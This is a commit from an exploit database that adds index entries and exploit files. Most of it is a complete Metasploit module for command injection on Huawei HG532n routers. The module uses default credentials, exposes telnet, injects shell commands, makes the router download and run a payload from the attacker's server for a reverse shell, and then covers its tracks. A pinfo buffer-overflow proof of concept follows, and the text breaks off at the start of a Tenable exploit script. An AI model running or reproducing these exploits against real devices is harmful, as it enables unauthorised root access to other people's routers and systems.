DB: 2017-04-19
4 new exploits Microsoft Windows - Uncredentialed SMB RCE (MS17-010) (Metasploit) Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit) pinfo 0.6.9 - Local Buffer Overflow Tenable Appliance < 4.5 - Unauthenticated Remote Root Code Execution Microsoft Word - .RTF Remote Code Execution Huawei HG532n - Command Injection (Metasploit)
This commit is contained in:
parent
cc2ec16c5d
commit
3c86b861c2
6 changed files with 868 additions and 2 deletions
|
@ -5469,7 +5469,8 @@ id,file,description,date,author,platform,type,port
|
|||
41869,platforms/multiple/dos/41869.html,"Apple WebKit - 'JSC::SymbolTableEntry::isWatchable' Heap Buffer Overflow",2017-04-11,"Google Security Research",multiple,dos,0
|
||||
41879,platforms/windows/dos/41879.txt,"Microsoft Windows Kernel - 'win32k.sys' Multiple Issues 'NtGdiGetDIBitsInternal' System Call",2017-04-13,"Google Security Research",windows,dos,0
|
||||
41880,platforms/windows/dos/41880.cpp,"Microsoft Windows Kernel - 'win32kfull!SfnINLPUAHDRAWMENUITEM' Stack Memory Disclosure",2017-04-13,"Google Security Research",windows,dos,0
|
||||
41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Uncredentialed SMB RCE (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445
|
||||
41891,platforms/windows/dos/41891.rb,"Microsoft Windows - Unauthenticated SMB Remote Code Execution (MS17-010) (Metasploit)",2017-04-17,"Sean Dillon",windows,dos,445
|
||||
41893,platforms/linux/dos/41893.txt,"pinfo 0.6.9 - Local Buffer Overflow",2017-04-18,"Nassim Asrir",linux,dos,0
|
||||
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
|
||||
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
|
||||
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
|
||||
|
@ -15448,6 +15449,9 @@ id,file,description,date,author,platform,type,port
|
|||
41861,platforms/linux/remote/41861.py,"Quest Privilege Manager 6.0.0 - Arbitrary File Write",2017-04-10,m0t,linux,remote,0
|
||||
41872,platforms/hardware/remote/41872.py,"Cisco Catalyst 2960 IOS 12.2(55)SE11 - 'ROCEM' Remote Code Execution",2017-04-12,"Artem Kondratenko",hardware,remote,23
|
||||
41874,platforms/hardware/remote/41874.py,"Cisco Catalyst 2960 IOS 12.2(55)SE1 - 'ROCEM' Remote Code Execution",2017-04-12,"Artem Kondratenko",hardware,remote,0
|
||||
41892,platforms/linux/remote/41892.sh,"Tenable Appliance < 4.5 - Unauthenticated Remote Root Code Execution",2017-04-18,agix,linux,remote,8000
|
||||
41894,platforms/windows/remote/41894.py,"Microsoft Word - .RTF Remote Code Execution",2017-04-18,"Bhadresh Patel",windows,remote,0
|
||||
41895,platforms/hardware/remote/41895.rb,"Huawei HG532n - Command Injection (Metasploit)",2017-04-19,Metasploit,hardware,remote,0
|
||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||
|
|
Can't render this file because it is too large.
|
535
platforms/hardware/remote/41895.rb
Executable file
535
platforms/hardware/remote/41895.rb
Executable file
|
@ -0,0 +1,535 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'base64'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Huawei HG532n Command Injection',
|
||||
'Description' => %q(
|
||||
This module exploits a command injection vulnerability in the Huawei
|
||||
HG532n routers provided by TE-Data Egypt, leading to a root shell.
|
||||
|
||||
The router's web interface has two kinds of logins, a "limited" user:user
|
||||
login given to all customers and an admin mode. The limited mode is used
|
||||
here to expose the router's telnet port to the outside world through NAT
|
||||
port-forwarding.
|
||||
|
||||
With telnet now remotely accessible, the router's limited "ATP command
|
||||
line tool" (served over telnet) can be upgraded to a root shell through
|
||||
an injection into the ATP's hidden "ping" command.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Ahmed S. Darwish <darwish.07@gmail.com>', # Vulnerability discovery, msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Linux mipsbe Payload',
|
||||
{
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 15 2017',
|
||||
'References' => [
|
||||
['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245']
|
||||
]
|
||||
))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),
|
||||
OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),
|
||||
OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),
|
||||
OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),
|
||||
OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),
|
||||
OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),
|
||||
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
httpd_fingerprint = %r{
|
||||
\A
|
||||
HTTP\/1\.1\s200\sOK\r\n
|
||||
CACHE-CONTROL:\sno-cache\r\n
|
||||
Date:\s.*\r\n
|
||||
Connection:\sKeep-Alive\r\n
|
||||
Content-Type:\stext\/html\r\n
|
||||
Content-Length:\s\d+\r\n
|
||||
\r\n
|
||||
<html>\n<head>\n
|
||||
<META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n
|
||||
<META\shttp-equiv="Pragma"\scontent="no-cache">\n
|
||||
<META\shttp-equiv="expires"\sCONTENT="-1">\n
|
||||
<link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>
|
||||
}x
|
||||
|
||||
begin
|
||||
res = send_request_raw(
|
||||
'method' => 'GET',
|
||||
'uri' => '/'
|
||||
)
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - Could not connect to device")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res && res.code == 200 && res.to_s =~ httpd_fingerprint
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
#
|
||||
# The Javascript code sends all passwords in the form:
|
||||
# form.setAction('/index/login.cgi');
|
||||
# form.addParameter('Username', Username.value);
|
||||
# form.addParameter('Password', base64encode(SHA256(Password.value)));
|
||||
# Do the same base64 encoding and SHA-256 hashing here.
|
||||
#
|
||||
def hash_password(password)
|
||||
sha256 = OpenSSL::Digest::SHA256.hexdigest(password)
|
||||
Base64.encode64(sha256).gsub(/\s+/, "")
|
||||
end
|
||||
|
||||
#
|
||||
# Without below cookies, which are also sent by the JS code, the
|
||||
# server will consider even correct HTTP requests invalid
|
||||
#
|
||||
def generate_web_cookie(admin: false, session: nil)
|
||||
if admin
|
||||
cookie = 'FirstMenu=Admin_0; '
|
||||
cookie << 'SecondMenu=Admin_0_0; '
|
||||
cookie << 'ThirdMenu=Admin_0_0_0; '
|
||||
else
|
||||
cookie = 'FirstMenu=User_2; '
|
||||
cookie << 'SecondMenu=User_2_1; '
|
||||
cookie << 'ThirdMenu=User_2_1_0; '
|
||||
end
|
||||
|
||||
cookie << 'Language=en'
|
||||
cookie << "; #{session}" unless session.nil?
|
||||
cookie
|
||||
end
|
||||
|
||||
#
|
||||
# Login to the router through its JS-based login page. Upon a successful
|
||||
# login, return the keep-alive HTTP session cookie
|
||||
#
|
||||
def web_login
|
||||
cookie = generate_web_cookie(admin: true)
|
||||
|
||||
# On good passwords, the router redirect us to the /html/content.asp
|
||||
# homepage. Otherwise, it throws us back to the '/' login page. Thus
|
||||
# consider the ASP page our valid login marker
|
||||
invalid_login_marker = "var pageName = '/'"
|
||||
valid_login_marker = "var pageName = '/html/content.asp'"
|
||||
|
||||
username = datastore['HttpUsername']
|
||||
password = datastore['HttpPassword']
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/index/login.cgi',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => {
|
||||
'Username' => username,
|
||||
'Password' => hash_password(password)
|
||||
}
|
||||
)
|
||||
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
|
||||
|
||||
unless res.code == 200
|
||||
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
|
||||
end
|
||||
|
||||
return res.get_cookies if res.body.include? valid_login_marker
|
||||
|
||||
if res.body.include? invalid_login_marker
|
||||
fail_with(Failure::NoAccess, "Invalid web interface credentials #{username}:#{password}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Neither valid or invalid login markers received")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# The telnet port is filtered by default. Expose it to the outside world
|
||||
# through NAT forwarding
|
||||
#
|
||||
def expose_telnet_port(session_cookies)
|
||||
cookie = generate_web_cookie(session: session_cookies)
|
||||
|
||||
external_telnet_port = rand(32767) + 32768
|
||||
|
||||
portmapping_page = '/html/application/portmapping.asp'
|
||||
valid_port_export_marker = "var pageName = '#{portmapping_page}';"
|
||||
invalid_port_export_marker = /var ErrInfo = \d+/
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/html/application/addcfg.cgi',
|
||||
'cookie' => cookie,
|
||||
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
|
||||
'vars_get' => {
|
||||
'x' => 'InternetGatewayDevice.WANDevice.1.WANConnectionDevice.1.WANPPPConnection.1.PortMapping',
|
||||
'RequestFile' => portmapping_page
|
||||
},
|
||||
'vars_post' => {
|
||||
'x.PortMappingProtocol' => "TCP",
|
||||
'x.PortMappingEnabled' => "1",
|
||||
'x.RemoteHost' => "",
|
||||
'x.ExternalPort' => external_telnet_port.to_s,
|
||||
'x.ExternalPortEndRange' => external_telnet_port.to_s,
|
||||
'x.InternalClient' => "192.168.1.1",
|
||||
'x.InternalPort' => "23",
|
||||
'x.PortMappingDescription' => Rex::Text.rand_text_alpha(10) # Minimize any possible conflict
|
||||
}
|
||||
)
|
||||
fail_with(Failure::Unreachable, "Connection timed out") if res.nil?
|
||||
|
||||
unless res.code == 200
|
||||
fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
|
||||
end
|
||||
|
||||
if res.body.include? valid_port_export_marker
|
||||
print_good "Telnet port forwarding succeeded; exposed telnet port = #{external_telnet_port}"
|
||||
return external_telnet_port
|
||||
end
|
||||
|
||||
if res.body.match? invalid_port_export_marker
|
||||
fail_with(Failure::Unknown, "Router reported port-mapping error. " \
|
||||
"A port-forwarding entry with same external port (#{external_telnet_port}) already exist?")
|
||||
end
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "Port-forwarding failed: neither valid or invalid markers received")
|
||||
end
|
||||
|
||||
#
|
||||
# Cover our tracks; don't leave the exposed router's telnet port open
|
||||
#
|
||||
def hide_exposed_telnet_port(session_cookies)
|
||||
cookie = generate_web_cookie(session: session_cookies)
|
||||
portmapping_page = '/html/application/portmapping.asp'
|
||||
|
||||
# Gather a list of all existing ports forwarded so we can purge them soon
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => portmapping_page,
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
print_warning "Could not get current forwarded ports from web interface"
|
||||
end
|
||||
|
||||
# Collect existing port-forwarding keys; to be passed to the delete POST request
|
||||
portforward_key = /InternetGatewayDevice\.WANDevice\.1\.WANConnectionDevice\.1\.WANPPPConnection\.1\.PortMapping\.\d+/
|
||||
vars_post = {}
|
||||
res.body.scan(portforward_key).uniq.each do |key|
|
||||
vars_post[key] = ""
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/html/application/del.cgi',
|
||||
'cookie' => cookie,
|
||||
'headers' => { 'Referer' => "http://#{rhost}#{portmapping_page}" },
|
||||
'vars_get' => { 'RequestFile' => portmapping_page },
|
||||
'vars_post' => vars_post
|
||||
)
|
||||
return if res && res.code == 200
|
||||
|
||||
print_warning "Could not re-hide exposed telnet port"
|
||||
end
|
||||
|
||||
#
|
||||
# Cleanup our state, after any successful web login. Note: router refuses
|
||||
# more than 3 concurrent logins from the same IP. It also forces a 1-minute
|
||||
# delay after 3 unsuccessful logins from _any_ IP.
|
||||
#
|
||||
def web_logout(session_cookies)
|
||||
cookie = generate_web_cookie(admin: true, session: session_cookies)
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => '/index/logout.cgi',
|
||||
'cookie' => cookie,
|
||||
'headers' => { 'Referer' => "http://#{rhost}/html/main/logo.html" }
|
||||
)
|
||||
return if res && res.code == 200
|
||||
|
||||
print_warning "Could not logout from web interface. Future web logins may fail!"
|
||||
end
|
||||
|
||||
#
|
||||
# Don't leave web sessions idle for too long (> 1 second). It triggers the
|
||||
# HTTP server's safety mechanisms and make it refuse further operations.
|
||||
#
|
||||
# Thus do all desired web operations in chunks: log in, do our stuff (passed
|
||||
# block), and immediately log out. The router's own javescript code handles
|
||||
# this by sending a refresh request every second.
|
||||
#
|
||||
def web_operation
|
||||
begin
|
||||
cookie = web_login
|
||||
yield cookie
|
||||
ensure
|
||||
web_logout(cookie) unless cookie.nil?
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Helper method. Used for waiting on telnet banners and prompts.
|
||||
# Always catch the ::Timeout::Error exception upon calling this.
|
||||
#
|
||||
def read_until(sock, timeout, marker)
|
||||
received = ''
|
||||
Timeout.timeout(timeout) do
|
||||
loop do
|
||||
r = (sock.get_once(-1, 1) || '')
|
||||
next if r.empty?
|
||||
|
||||
received << r
|
||||
print_status "Received new reply token = '#{r.strip}'" if datastore['VERBOSE'] == true
|
||||
return received if received.include? marker
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Borrowing constants from Ruby's Net::Telnet class (ruby license)
|
||||
#
|
||||
IAC = 255.chr # "\377" # "\xff" # interpret as command
|
||||
DO = 253.chr # "\375" # "\xfd" # please, you use option
|
||||
OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission
|
||||
OPT_ECHO = 1.chr # "\001" # "\x01" # Echo
|
||||
OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead
|
||||
OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition
|
||||
|
||||
def telnet_auth_negotiation(sock, timeout)
|
||||
begin
|
||||
read_until(sock, timeout, 'Password:')
|
||||
sock.write(IAC + DO + OPT_ECHO + IAC + DO + OPT_SGA)
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::UnexpectedReply, "Expected first password banner not received")
|
||||
end
|
||||
|
||||
begin
|
||||
read_until(sock, timeout, 'Password:') # Router bug
|
||||
sock.write(datastore['TelnetPassword'] + OPT_NAOFFD + OPT_BINARY)
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::UnexpectedReply, "Expected second password banner not received")
|
||||
end
|
||||
end
|
||||
|
||||
def telnet_prompt_wait(error_regex = nil)
|
||||
begin
|
||||
result = read_until(@telnet_sock, @telnet_timeout, @telnet_prompt)
|
||||
if error_regex
|
||||
error_regex = [error_regex] unless error_regex.is_a? Array
|
||||
error_regex.each do |regex|
|
||||
if result.match? regex
|
||||
fail_with(Failure::UnexpectedReply, "Error expression #{regex} included in reply")
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::UnexpectedReply, "Expected telnet prompt '#{@telnet_prompt}' not received")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Basic telnet login. Due to mixins conflict, revert to using plain
|
||||
# Rex sockets (thanks @hdm!)
|
||||
#
|
||||
def telnet_login(port)
|
||||
print_status "Connecting to just-exposed telnet port #{port}"
|
||||
|
||||
@telnet_prompt = 'HG520b>'
|
||||
@telnet_timeout = 60
|
||||
|
||||
@telnet_sock = Rex::Socket.create_tcp(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => port,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self },
|
||||
'Timeout' => @telnet_timeout
|
||||
)
|
||||
if @telnet_sock.nil?
|
||||
fail_with(Failure::Unreachable, "Exposed telnet port unreachable")
|
||||
end
|
||||
add_socket(@telnet_sock)
|
||||
|
||||
print_good "Connection succeeded. Passing telnet credentials"
|
||||
telnet_auth_negotiation(@telnet_sock, @telnet_timeout)
|
||||
|
||||
print_good "Credentials passed; waiting for prompt '#{@telnet_prompt}'"
|
||||
telnet_prompt_wait
|
||||
|
||||
print_good 'Prompt received. Telnet access fully granted!'
|
||||
end
|
||||
|
||||
def telnet_exit
|
||||
return if @telnet_sock.nil?
|
||||
@telnet_sock.write('exit' + OPT_NAOFFD + OPT_BINARY)
|
||||
end
|
||||
|
||||
#
|
||||
# Router's limited ATP shell just reverts to classical Linux
|
||||
# shell when executing a ping:
|
||||
#
|
||||
# "ping %s > /var/res_ping"
|
||||
#
|
||||
# A successful injection would thus substitute all its spaces to
|
||||
# ${IFS}, and trails itself with ";true" so it can have its own
|
||||
# IO redirection.
|
||||
#
|
||||
def execute_command(command, error_regex = nil, background: false)
|
||||
print_status "Running command on target: #{command}"
|
||||
|
||||
command.gsub!(/\s/, '${IFS}')
|
||||
separator = background ? '&' : ';'
|
||||
atp_cmd = "ping ?;#{command}#{separator}true"
|
||||
|
||||
@telnet_sock.write(atp_cmd + OPT_NAOFFD + OPT_BINARY)
|
||||
telnet_prompt_wait(error_regex)
|
||||
print_good "Command executed successfully"
|
||||
end
|
||||
|
||||
#
|
||||
# Our own HTTP server, for serving the payload
|
||||
#
|
||||
def start_http_server
|
||||
@pl = generate_payload_exe
|
||||
|
||||
downfile = datastore['DOWNFILE'] || rand_text_alpha(8 + rand(8))
|
||||
resource_uri = '/' + downfile
|
||||
|
||||
if datastore['DOWNHOST']
|
||||
print_status "Will not start local web server, as DOWNHOST is already defined"
|
||||
else
|
||||
print_status("Starting web server; hosting #{resource_uri}")
|
||||
start_service(
|
||||
'ServerHost' => '0.0.0.0',
|
||||
'Uri' => {
|
||||
'Proc' => proc { |cli, req| on_request_uri(cli, req) },
|
||||
'Path' => resource_uri
|
||||
}
|
||||
)
|
||||
end
|
||||
|
||||
resource_uri
|
||||
end
|
||||
|
||||
#
|
||||
# HTTP server incoming request callback
|
||||
#
|
||||
def on_request_uri(cli, _request)
|
||||
print_good "HTTP server received request. Sending payload to victim"
|
||||
send_response(cli, @pl)
|
||||
end
|
||||
|
||||
#
|
||||
# Unfortunately we could not use the `echo' command stager since
|
||||
# the router's busybox echo does not understand the necessary
|
||||
# "-en" options. It outputs them to the binary instead.
|
||||
#
|
||||
# We could not also use the `wget' command stager, as Huawei
|
||||
# crafted their own implementation with much different params.
|
||||
#
|
||||
def download_and_run_payload(payload_uri)
|
||||
srv_host =
|
||||
if datastore['DOWNHOST']
|
||||
datastore['DOWNHOST']
|
||||
elsif datastore['SRVHOST'] == "0.0.0.0" || datastore['SRVHOST'] == "::"
|
||||
Rex::Socket.source_address(rhost)
|
||||
else
|
||||
datastore['SRVHOST']
|
||||
end
|
||||
|
||||
srv_port = datastore['SRVPORT'].to_s
|
||||
output_file = "/tmp/#{rand_text_alpha_lower(8)}"
|
||||
|
||||
# Check module documentation for the special wget syntax
|
||||
wget_cmd = "wget -g -v -l #{output_file} -r #{payload_uri} -P#{srv_port} #{srv_host}"
|
||||
|
||||
execute_command(wget_cmd, [/cannot connect/, /\d+ error/]) # `404 error', etc.
|
||||
execute_command("chmod 700 #{output_file}", /No such file/)
|
||||
execute_command(output_file, /not found/, background: true)
|
||||
execute_command("rm #{output_file}", /No such file/)
|
||||
end
|
||||
|
||||
#
|
||||
# At the end of the module, especially for reverse_tcp payloads, wait for
|
||||
# the payload to connect back to us. There's a very high probability we
|
||||
# will lose the payload's signal otherwise.
|
||||
#
|
||||
def wait_for_payload_session
|
||||
print_status "Waiting for the payload to connect back .."
|
||||
begin
|
||||
Timeout.timeout(datastore['ListenerTimeout']) do
|
||||
loop do
|
||||
break if session_created?
|
||||
Rex.sleep(0.25)
|
||||
end
|
||||
end
|
||||
rescue ::Timeout::Error
|
||||
fail_with(Failure::Unknown, "Timeout waiting for payload to start/connect-back")
|
||||
end
|
||||
print_good "Payload connected!"
|
||||
end
|
||||
|
||||
#
|
||||
# Main exploit code: login through web interface; port-forward router's
|
||||
# telnet; access telnet and gain root shell through command injection.
|
||||
#
|
||||
def exploit
|
||||
print_status "Validating router's HTTP server (#{rhost}:#{rport}) signature"
|
||||
unless check == Exploit::CheckCode::Appears
|
||||
fail_with(Failure::Unknown, "Unable to validate device fingerprint. Is it an HG532n?")
|
||||
end
|
||||
|
||||
print_good "Good. Router seems to be a vulnerable HG532n device"
|
||||
|
||||
telnet_port = nil
|
||||
web_operation do |cookie|
|
||||
telnet_port = expose_telnet_port(cookie)
|
||||
end
|
||||
|
||||
begin
|
||||
telnet_login(telnet_port)
|
||||
payload_uri = start_http_server
|
||||
download_and_run_payload(payload_uri)
|
||||
wait_for_payload_session
|
||||
ensure
|
||||
telnet_exit
|
||||
web_operation do |cookie|
|
||||
hide_exposed_telnet_port(cookie)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
141
platforms/linux/dos/41893.txt
Executable file
141
platforms/linux/dos/41893.txt
Executable file
|
@ -0,0 +1,141 @@
|
|||
# Title: pinfo v0.6.9 - Local Buffer Overflow
|
||||
# Author: Nassim Asrir
|
||||
# Researcher at: Henceforth
|
||||
# Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
|
||||
# CVE: N/A
|
||||
|
||||
# Download #
|
||||
|
||||
$ apt-get install pinfo
|
||||
|
||||
# POC #
|
||||
|
||||
For any Question or discussion about this vuln: https://www.facebook.com/asrirnassim/
|
||||
|
||||
$ pinfo -m `python -c 'print "A"*600'`
|
||||
Przemek's Info Viewer v0.6.9
|
||||
Looking for man page...
|
||||
|
||||
Caught signal 11, bye!
|
||||
Segmentation fault
|
||||
|
||||
|
||||
# GDB Output #
|
||||
|
||||
$ gdb pinfo
|
||||
|
||||
(gdb) r -m `python -c 'print "A"*600'`
|
||||
|
||||
Program received signal SIGSEGV, Segmentation fault.
|
||||
__GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
|
||||
84 getenv.c: No such file or directory.
|
||||
|
||||
(gdb) info registers
|
||||
rax 0x54 84
|
||||
rbx 0x4141414141414141 4702111234474983745 <====
|
||||
rcx 0x1a8 424
|
||||
rdx 0x10 16
|
||||
rsi 0x7fffffffdaae 140737488345774
|
||||
rdi 0x7ffff79831a8 140737347334568
|
||||
rbp 0x7fffffffe0a8 0x7fffffffe0a8
|
||||
rsp 0x7fffffffda90 0x7fffffffda90
|
||||
r8 0x0 0
|
||||
r9 0x20 32
|
||||
r10 0x1ec 492
|
||||
r11 0x7ffff796c630 140737347241520
|
||||
r12 0x4554 17748
|
||||
r13 0x4 4
|
||||
r14 0x2 2
|
||||
r15 0x7ffff79831aa 140737347334570
|
||||
rip 0x7ffff73c911d 0x7ffff73c911d <__GI_getenv+173>
|
||||
eflags 0x10206 [ PF IF RF ]
|
||||
cs 0x33 51
|
||||
ss 0x2b 43
|
||||
ds 0x0 0
|
||||
es 0x0 0
|
||||
fs 0x0 0
|
||||
gs 0x0 0
|
||||
|
||||
(gdb) where
|
||||
#0 __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84
|
||||
#1 0x00007ffff796c661 in initscr () from /lib/x86_64-linux-gnu/libncursesw.so.5
|
||||
#2 0x000055555556214a in ?? ()
|
||||
#3 0x000055555555f165 in ?? ()
|
||||
#4 0x0000555555557552 in ?? ()
|
||||
#5 0x4141414141414141 in ?? ()
|
||||
#6 0x4141414141414141 in ?? ()
|
||||
#7 0x4141414141414141 in ?? ()
|
||||
#8 0x4141414141414141 in ?? ()
|
||||
#9 0x4141414141414141 in ?? ()
|
||||
#10 0x4141414141414141 in ?? ()
|
||||
#11 0x4141414141414141 in ?? ()
|
||||
#12 0x4141414141414141 in ?? ()
|
||||
#13 0x4141414141414141 in ?? ()
|
||||
#14 0x4141414141414141 in ?? ()
|
||||
#15 0x4141414141414141 in ?? ()
|
||||
#16 0x4141414141414141 in ?? ()
|
||||
#17 0x4141414141414141 in ?? ()
|
||||
#18 0x4141414141414141 in ?? ()
|
||||
#19 0x4141414141414141 in ?? ()
|
||||
#20 0x4141414141414141 in ?? ()
|
||||
#21 0x4141414141414141 in ?? ()
|
||||
#22 0x4141414141414141 in ?? ()
|
||||
#23 0x4141414141414141 in ?? ()
|
||||
#24 0x4141414141414141 in ?? ()
|
||||
#25 0x4141414141414141 in ?? ()
|
||||
#26 0x4141414141414141 in ?? ()
|
||||
#27 0x4141414141414141 in ?? ()
|
||||
#28 0x4141414141414141 in ?? ()
|
||||
#29 0x4141414141414141 in ?? ()
|
||||
#30 0x4141414141414141 in ?? ()
|
||||
#31 0x4141414141414141 in ?? ()
|
||||
#32 0x4141414141414141 in ?? ()
|
||||
#33 0x4141414141414141 in ?? ()
|
||||
#34 0x4141414141414141 in ?? ()
|
||||
#35 0x4141414141414141 in ?? ()
|
||||
#36 0x4141414141414141 in ?? ()
|
||||
#37 0x4141414141414141 in ?? ()
|
||||
#38 0x4141414141414141 in ?? ()
|
||||
#39 0x4141414141414141 in ?? ()
|
||||
#40 0x4141414141414141 in ?? ()
|
||||
#41 0x00007fffffff0020 in ?? ()
|
||||
#42 0x00007fffffffebaa in ?? ()
|
||||
---Type <return> to continue, or q <return> to quit---
|
||||
#43 0x00007fffffffebc2 in ?? ()
|
||||
#44 0x00007fffffffebd6 in ?? ()
|
||||
#45 0x00007fffffffebe1 in ?? ()
|
||||
#46 0x00007fffffffec07 in ?? ()
|
||||
#47 0x00007fffffffec18 in ?? ()
|
||||
#48 0x00007fffffffec48 in ?? ()
|
||||
#49 0x00007fffffffec52 in ?? ()
|
||||
#50 0x00007fffffffec73 in ?? ()
|
||||
#51 0x00007fffffffec7d in ?? ()
|
||||
#52 0x00007fffffffec86 in ?? ()
|
||||
#53 0x00007fffffffec91 in ?? ()
|
||||
#54 0x00007fffffffeca4 in ?? ()
|
||||
#55 0x00007fffffffecb7 in ?? ()
|
||||
#56 0x00007fffffffeccc in ?? ()
|
||||
#57 0x00007fffffffed08 in ?? ()
|
||||
#58 0x00007fffffffed33 in ?? ()
|
||||
#59 0x00007fffffffed58 in ?? ()
|
||||
#60 0x00007fffffffed63 in ?? ()
|
||||
#61 0x00007fffffffed74 in ?? ()
|
||||
#62 0x00007fffffffed84 in ?? ()
|
||||
#63 0x00007fffffffed8f in ?? ()
|
||||
#64 0x00007fffffffedc3 in ?? ()
|
||||
#65 0x00007fffffffeddc in ?? ()
|
||||
#66 0x00007fffffffee0d in ?? ()
|
||||
#67 0x00007fffffffee30 in ?? ()
|
||||
#68 0x00007fffffffee3f in ?? ()
|
||||
#69 0x00007fffffffee47 in ?? ()
|
||||
#70 0x00007fffffffee59 in ?? ()
|
||||
#71 0x00007fffffffee75 in ?? ()
|
||||
#72 0x00007fffffffee82 in ?? ()
|
||||
#73 0x00007fffffffeeb5 in ?? ()
|
||||
#74 0x00007fffffffeed1 in ?? ()
|
||||
#75 0x00007fffffffeeee in ?? ()
|
||||
#76 0x00007fffffffef28 in ?? ()
|
||||
#77 0x00007fffffffef97 in ?? ()
|
||||
#78 0x0000000000000000 in ?? ()
|
||||
|
||||
|
|
@ -16,7 +16,7 @@ while (i == 0):
|
|||
while (x == 0):
|
||||
time.sleep(random.random()) #random int 0.0-1.0
|
||||
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
|
||||
if (pid == 0): #need an active pid, race condition applies
|
||||
if (pid == "0"): #need an active pid, race condition applies
|
||||
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
|
||||
break
|
||||
else:
|
||||
|
|
54
platforms/linux/remote/41892.sh
Executable file
54
platforms/linux/remote/41892.sh
Executable file
|
@ -0,0 +1,54 @@
|
|||
#!/bin/bash
|
||||
: '
|
||||
According to http://static.tenable.com/prod_docs/upgrade_appliance.html they
|
||||
fixed two security vulnerabilities in the web interface in release 4.5 so I
